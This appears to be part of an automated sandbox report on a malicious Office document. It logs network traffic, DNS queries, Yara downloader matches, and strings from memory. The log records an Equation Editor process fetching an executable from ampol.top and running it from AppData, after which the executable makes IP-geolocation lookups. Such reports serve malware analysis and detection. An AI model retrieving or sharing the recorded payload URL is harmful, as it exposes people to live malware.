Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 158.101.44.242:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 158.101.44.242:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 158.101.44.242:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 158.101.44.242:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 158.101.44.242:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 158.101.44.242:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 158.101.44.242:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 158.101.44.242:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 193.122.6.168:80
Source: global traffic	TCP traffic: 193.122.6.168:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 193.122.6.168:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 193.122.6.168:80
Source: global traffic	TCP traffic: 193.122.6.168:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 193.122.6.168:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 193.122.6.168:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 193.122.6.168:80
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 193.122.6.168:80
Source: global traffic	TCP traffic: 193.122.6.168:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 193.122.6.168:80
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 193.122.130.0:80
Source: global traffic	TCP traffic: 193.122.130.0:80 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 193.122.130.0:80
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 193.122.130.0:80
Source: global traffic	TCP traffic: 193.122.130.0:80 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 193.122.130.0:80 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 193.122.130.0:80
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 158.101.44.242:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 158.101.44.242:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 158.101.44.242:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 158.101.44.242:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 158.101.44.242:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 158.101.44.242:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 158.101.44.242:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 158.101.44.242:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 158.101.44.242:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 193.122.130.0:80
Source: global traffic	TCP traffic: 193.122.130.0:80 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 193.122.130.0:80
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 193.122.130.0:80
Source: global traffic	TCP traffic: 193.122.130.0:80 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 193.122.130.0:80 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443

Networking

Yara detected Generic Downloader

Source: Yara match	File source: 7.2.obie8920193.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.obie8920193.exe.3599d70.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.obie8920193.exe.3579550.10.raw.unpack, type: UNPACKEDPE

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org

Source: Joe Sandbox View	IP Address: 193.122.6.168 193.122.6.168
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Source: Joe Sandbox View	JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	DNS query: name: reallyfreegeoip.org

Source: global traffic	HTTP traffic detected: GET /FcdBUj68lnCbMtB.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: ampol.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49165 version: TLS 1.0

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{57BE0F5E-0BF5-4CE6-96F3-B3AC962F851D}.tmp

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /FcdBUj68lnCbMtB.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: ampol.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: EQNEDT32.EXE, 00000002.00000002.354581271.000000000063A000.00000004.00000020.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864185355.0000000000514000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: ampol.top
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org

Source: obie8920193.exe, 00000007.00000002.864677424.0000000002367000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002392000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.00000000023CE000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.00000000022D4000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002385000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002374000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.00000000023C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: obie8920193.exe, 00000007.00000002.864677424.00000000022C5000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002367000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002392000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.00000000023CE000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.00000000022D4000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002385000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002374000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.00000000023C0000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.00000000023A0000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: obie8920193.exe, 00000007.00000002.865491806.0000000005884000.00000004.00000020.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: obie8920193.exe, 00000005.00000002.366574375.0000000003579000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864143938.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: EQNEDT32.EXE, 00000002.00000002.354581271.000000000063A000.00000004.00000020.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.865491806.0000000005870000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: EQNEDT32.EXE, 00000002.00000002.354581271.00000000005FF000.00000004.00000020.00020000.00000000.sdmp, obie8920193.exe.2.dr, FcdBUj68lnCbMtB[1].exe.2.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: EQNEDT32.EXE, 00000002.00000002.354581271.00000000005FF000.00000004.00000020.00020000.00000000.sdmp, obie8920193.exe.2.dr, FcdBUj68lnCbMtB[1].exe.2.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: EQNEDT32.EXE, 00000002.00000002.354581271.000000000063A000.00000004.00000020.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864185355.0000000000514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: EQNEDT32.EXE, 00000002.00000002.354581271.000000000063A000.00000004.00000020.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864185355.0000000000514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: EQNEDT32.EXE, 00000002.00000002.354581271.000000000063A000.00000004.00000020.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864185355.0000000000514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: EQNEDT32.EXE, 00000002.00000002.354581271.000000000063A000.00000004.00000020.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.865491806.0000000005870000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: EQNEDT32.EXE, 00000002.00000002.354581271.000000000063A000.00000004.00000020.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864185355.0000000000514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: EQNEDT32.EXE, 00000002.00000002.354581271.000000000063A000.00000004.00000020.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864185355.0000000000514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: EQNEDT32.EXE, 00000002.00000002.354581271.000000000063A000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.354581271.00000000005FF000.00000004.00000020.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864185355.0000000000514000.00000004.00000020.00020000.00000000.sdmp, obie8920193.exe.2.dr, FcdBUj68lnCbMtB[1].exe.2.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: EQNEDT32.EXE, 00000002.00000002.354581271.000000000063A000.00000004.00000020.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864185355.0000000000514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: EQNEDT32.EXE, 00000002.00000002.354581271.000000000063A000.00000004.00000020.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864185355.0000000000514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: EQNEDT32.EXE, 00000002.00000002.354581271.000000000063A000.00000004.00000020.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864185355.0000000000514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: EQNEDT32.EXE, 00000002.00000002.354581271.000000000063A000.00000004.00000020.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864185355.0000000000514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: EQNEDT32.EXE, 00000002.00000002.354581271.000000000063A000.00000004.00000020.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864185355.0000000000514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
